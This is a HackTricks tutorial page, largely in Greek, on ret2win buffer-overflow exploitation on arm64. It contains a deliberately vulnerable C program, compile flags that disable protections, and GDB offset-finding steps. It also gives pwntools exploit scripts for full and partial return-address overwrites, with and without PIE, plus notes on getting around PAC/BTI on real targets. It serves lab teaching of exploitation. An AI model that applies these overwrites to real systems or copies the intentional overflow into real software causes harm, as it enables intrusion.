Ret2win - arm64
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βρείτε μια εισαγωγή στο arm64 στο:
Κώδικας
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Μεταγλωττίστε χωρίς pie και canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- The extra flag
-mbranch-protection=none
disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can: - Αναζητήστε AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Επιθεωρήστε prologues/epilogues για
paciasp
/autiasp
(PAC) ή γιαbti c
landing pads (BTI): objdump -d ret2win | head -n 40
Σύντομα στοιχεία για το AArch64 calling convention
- Ο link register είναι
x30
(a.k.a.lr
), και οι συναρτήσεις συνήθως αποθηκεύουνx29
/x30
μεstp x29, x30, [sp, #-16]!
και τα επαναφέρουν μεldp x29, x30, [sp], #16; ret
. - Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο
sp+8
σε σχέση με τη βάση του frame. Με έναchar buffer[64]
τοποθετημένο πιο κάτω, η συνήθης απόσταση υπερχείλισης προς το αποθηκευμένοx30
είναι 64 (buffer) + 8 (saved x29) = 72 bytes — ακριβώς αυτό που θα βρούμε παρακάτω. - Ο stack pointer πρέπει να παραμένει 16‑byte aligned στα όρια συναρτήσεων. Αν φτιάξετε ROP chains αργότερα για πιο σύνθετα σενάρια, διατηρήστε την ευθυγράμμιση του SP ή μπορεί να καταρρεύσετε σε function epilogues.
Εύρεση του offset
Επιλογή pattern
This example was created using GEF:
Ξεκινήστε gdb με gef, δημιουργήστε pattern και χρησιμοποιήστε το:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε τη μετατόπιση του pattern:
pattern search $x30
.png)
Το offset είναι 72 (9x48).
Επιλογή Stack offset
Ξεκινήστε βρίσκοντας τη διεύθυνση του stack όπου αποθηκεύεται ο pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Τώρα ρυθμίστε ένα breakpoint μετά το read()
και συνεχίστε μέχρι να εκτελεστεί το read()
και ορίστε ένα pattern όπως 13371337:
b *vulnerable_function+28
c
.png)
Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:
.png)
Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Κανονικό
Βρείτε τη διεύθυνση της συνάρτησης win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να υπεργράψουμε ολόκληρο το return address, θα υπεργράψουμε μόνο τα τελευταία 2 bytes με 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι ένα πραγματικό off-by-one σε μια φανταστική ευπάθεια.
With PIE
tip
Μεταγλωττίστε το binary χωρίς το -no-pie
argument
Off-by-2
Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης win, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι η διεύθυνση επιστροφής που υπεργράφουμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak-άρουμε το offset προς τη συνάρτηση win (0x7d4) σε αυτή την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Σημειώσεις για τη σύγχρονη ενίσχυση AArch64 (PAC/BTI) και ret2win
- Αν το binary έχει compiled με AArch64 Branch Protection, μπορεί να δείτε
paciasp
/autiasp
ήbti c
να εκπέμπονται σε function prologues/epilogues. Σε αυτή την περίπτωση: - Επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει
SIGILL
. Προτιμήστε στόχευση στην ακριβή function entry που περιέχειbti c
. - Αν το PAC είναι ενεργοποιημένο για returns, οι απλές return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue αυθεντικοποιεί το
x30
. Για εκπαιδευτικά σενάρια, rebuild με-mbranch-protection=none
(όπως φαίνεται παραπάνω). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί το ζευγάριautiasp
/ret
που αυθεντικοποιεί το πλαστό σας LR. - Για γρήγορο έλεγχο των χαρακτηριστικών:
readelf --notes -W ./ret2win
και ελέγξτε για τις σημειώσειςAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
.objdump -d ./ret2win | head -n 40
και ψάξτε γιαbti c
,paciasp
,autiasp
.
Εκτέλεση σε μη‑ARM64 hosts (qemu‑user quick tip)
Αν είστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Σχετικές σελίδες HackTricks
Ret2syscall - ARM64
Αναφορές
- Ενεργοποίηση PAC και BTI σε AArch64 για Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Πρότυπο κλήσης διαδικασίας για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.